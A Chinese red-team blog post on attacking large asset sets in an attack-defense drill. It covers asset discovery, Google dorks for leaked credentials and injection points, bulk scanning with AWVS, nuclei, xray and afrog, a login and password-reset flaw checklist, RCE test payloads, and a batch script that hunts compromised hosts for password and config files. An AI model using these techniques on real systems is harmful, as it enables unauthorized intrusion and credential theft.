红队|针对大规模资产的攻击思路

1、背景

最近参加了一次攻防演练,因为准备不够充分导致结果差强人意,事实证明,没有一个清晰的思路在这个拼手速的时代是干不过人家的,事后重新梳理总结一下。

其实也没什么新东西,总体大概就是尽可能全面的搜集资产,然后全方位扫描,最后搭配手工扩大战果。

2、收集资产

根据IP收集url
使用棱洞魔改版:https://github.com/lemonlove7/EHole_magic
1

1
.\ehole.exe fofaext -l ip.txt

会生成一个result.xlsx

把xlsx里边的IP和端口剪切到一起放在afrog/目录下ip.txt中,稍后做漏扫用

ip.txt的话格式最好是xxx.xxx.xxx.xxx:xxx afrog会自动识别扫描

1
2
3
4
5
6
7
8
9
10
61.*.*.*:9090
61.*.*.*:3389
61.*.*.*:53
61.*.*.*:9000
61.*.*.*:7547
61.*.*.*:1433
61.*.*.*:2000
61.*.*.*:8291
61.*.*.*:554
61.*.*.*:9090

goby全端口扫描
1

测绘平台收集url
https://hunter.qianxin.com/
https://fofa.info/
https://quake.360.cn/

多语法搜索
不同的语法进行资产搜集,搜集的资产会更全面
以 fofa 为例

1
2
3
4
domain="xxxx.com"  
host="xxxx.com"
header="xxxx.com"
cert="xxxx.com"

其他手段
google语法

1
2
3
4
5
6
7
8
查找文本内容:site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码
查找后台地址:site:域名 inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查找可注入点:site:域名 inurl:aspx|jsp|php|asp
查找上传漏洞:site:域名 inurl:file|load|editor|Files
找eweb编辑器:site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的数据库:site:域名 filetype:mdb|asp|#
查看脚本类型:site:域名 filetype:asp/aspx/php/jsp
迂回策略入侵:inurl:cms/data/templates/images/index/

1
各种敏感数据收集:

1
2
3
4
5
6
7
filetyle:xls inurl:gov username password
inurl:phpmyadmin/main.php intitle:phpmyadmin
filetype:inc inurl:config.inc host
filetype:sql cdb_members inurl:forumdata
filetype:txt inurl:"新建文本文档.txt"密码
inurl:phpinfo.php intitle:"phpinfo()""PHP Version"+"Server API"
filetype:log inurl:log mdb

1

github
*.edu.cn password

3、漏洞扫描

awvs
这里我用的是docker,直接运行下边的命令

1
docker run -it -d -p 13443:3443  xiaomimi8/docker-awvs-14.7.220401065

1
这里还要搭配另一个工具来批量添加任务https://github.com/test502git/awvs14-scan
使用前先在config.ini修把url和apikey修改为自己的
1

nuclei
工具下载地址https://github.com/projectdiscovery/nuclei

1
nuclei -list urls.txt

xray
下载高级版https://www.iculture.cc/
被动代理就不说了,这里说下另一种批量主动的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding:utf-8

import re
import os
import sys
import time

def scan():
file = open("urls.txt")
urls = []
for line in file:
lines = line.strip('\n')
urls.append(lines)
file.close()
for url in urls:
name = url.replace('https://', '').replace('http://', '').replace('/', '').replace('\n', '').replace(':', '-')
try:
os.mkdir('scan_report')
except:
pass
cmd = 'xray.exe webscan --basic-crawler {0}/ --html-output {1}.html'.format(url.replace('\n', ''), './scan_report/' + name)
os.system(cmd.replace('\n', ''))
time.sleep(0.2)

if __name__ == "__main__":
scan()

代码保存为urlscan.py

很简单,url放urls.txt里,urls.txt放xray.exe根目录

接下来还要稍微改下xray配置config.yaml
把过滤gov什么的删了或者注释掉

1
python urlscan.py

1
结束后会自动生成scan_report目录,结果都保存在里面

afrog
下载地址https://github.com/zan8in/afrog
常用方法,只要中危及以上的漏洞

1
.\afrog.exe -T url.txt -S medium, high, critical

1

api扫描

urlfind
工具下载地址https://github.com/pingc0y/URLFinder
项目中有详细的使用说明,这里写下我比较常用的

1
.\URLFinder-windows-amd64.exe -s 200 -m 3 -u http://127.0.0.1:8081 -o .

1

Packer-Fuzzer
工具地址https://github.com/rtcatc/Packer-Fuzzer
1

4、手工测试

web逻辑漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
任意用户注册
可爆破用户名
爆破用户名,密码
用户名注入
万能密码
用户名Xss
修改返回包信息,登入他人账户
修改cookie中的参数,如user,adminid等
HTML源码、JS等查看信息搜集
后台登录参数修改为注册参数/reg、/register、/sign等
密码重置
1.重置一个账户,不发送验证码,设置验证码为空发送请求。
2.发送验证码,查看相应包
3.验证码生存期的爆破
4.修改相应包为成功的相应包
5.手工直接跳转到校验成功的界面
6.两个账户,重置别人密码时,替换验证码为自己正确的验证码
7.重置别人密码时,替换为自己的手机号
8.重置自己的成功时,同意浏览器重置别人的,不发验证码
9.替换用户名,ID,cookie,token参数等验证身份的参数
10.通过越权修改他人的找回信息如手机/邮箱来重置

RCE漏洞

1.url参数,不仅仅可能存在ssrf漏洞,也有很大概率存在命令执行,可能调用系统命令如curl
示例:

1
2
3
index.php?id=2;}phpinfo();/*
http://www.xxx.com/cmd.php?cmd=whoami
http://xxx.cn/AdminPage/conf/runCmd?cmd=id

2.变量/提交的数据
常见在post包中exec、shell、path等参数
测试payload:

1
2
3
4
&	不管前后命令是否执行成功都会执行前后命令
&& 具有短路效果。 前面的命令执行成功才能执行后面的命令
| 管道符, 上一条命令的输出,作为下一条命令参数(输入) 。在拼接时,无论左边是false还是true,右边都会执行
|| 具有短路效果。 前面的命令执行不成功才能执行后面的命令

各种框架、cms通用nday
https://github.com/MzzdToT/HAC_Bored_Writing

5、横向思路

fscan工具 https://github.com/shadow1ng/fscan/releases/tag/1.8.2

各数据库弱口令扫描

手工测试
通过命令行快速收集服务器网络拓扑、密码等重要文件。

1
2
3
4
5
6
7
8
9
10
dir /a /s /b "D:\*.txt"
dir /a /s /b "D:\*pass*"
dir /a /s /b "D:\*login*
dir /a /s /b "D:\*user*
dir /a /s /b D:\\password.txt
dir /a /s /b "D:\*.conf" "D:\*.ini" "D:\*.inc" "D:\*.config"
dir /a /s /b "C:\*.txt" "C:\*.xls*" "C:\*.xlsx*" "C:\*.docx" | findstr "拓扑"
/C 参数来指定要查找的字符串 但是有双引号的话加不加/C感觉区别不大
dir /a /s /b "C:\*.conf" "C:\*.ini*" "C:\*.inc*" "C:\*.config" | findstr /C:"运维"
dir /a /s /b "D:\*.txt" "D:\*.xls*" "D:\*.xlsx*" "D:\*.docx" | findstr /C:"密码"

部分命令执行结果
1
1

编写成一键式bat

1
2
3
4
5
6
7
8
9
10
11
12
@echo off 
set "drive=D:"
dir /a /s /b "%drive%\*.txt" >>result.txt
dir /a /s /b "%drive%\*pass*" >>result.txt
dir /a /s /b "%drive%\*login* >>result.txt
dir /a /s /b "%drive%\*user* >>result.txt
dir /a /s /b "%drive%\password.txt" >>result.txt
dir /a /s /b "%drive%\*.conf" "%drive%\*.ini" "%drive%\*.inc" "%drive%\*.config" >>result.txt
dir /a /s /b "%drive%\*.txt" "%drive%\*.xls*" "%drive%\*.xlsx*" "%drive%\*.docx" | findstr "拓扑" >>result.txt
dir /a /s /b "%drive%\*.conf" "%drive%\*.ini*" "%drive%\*.inc*" "%drive%\*.config" | findstr /C:"运维" >>result.txt
dir /a /s /b "%drive%\*.txt" "%drive%\*.xls*" "%drive%\*.xlsx*" "%drive%\*.docx" | findstr /C:"密码" >>result.txt
echo "find success"

保存为23.bat直接运行即可,最后在result.txt中查看运行结果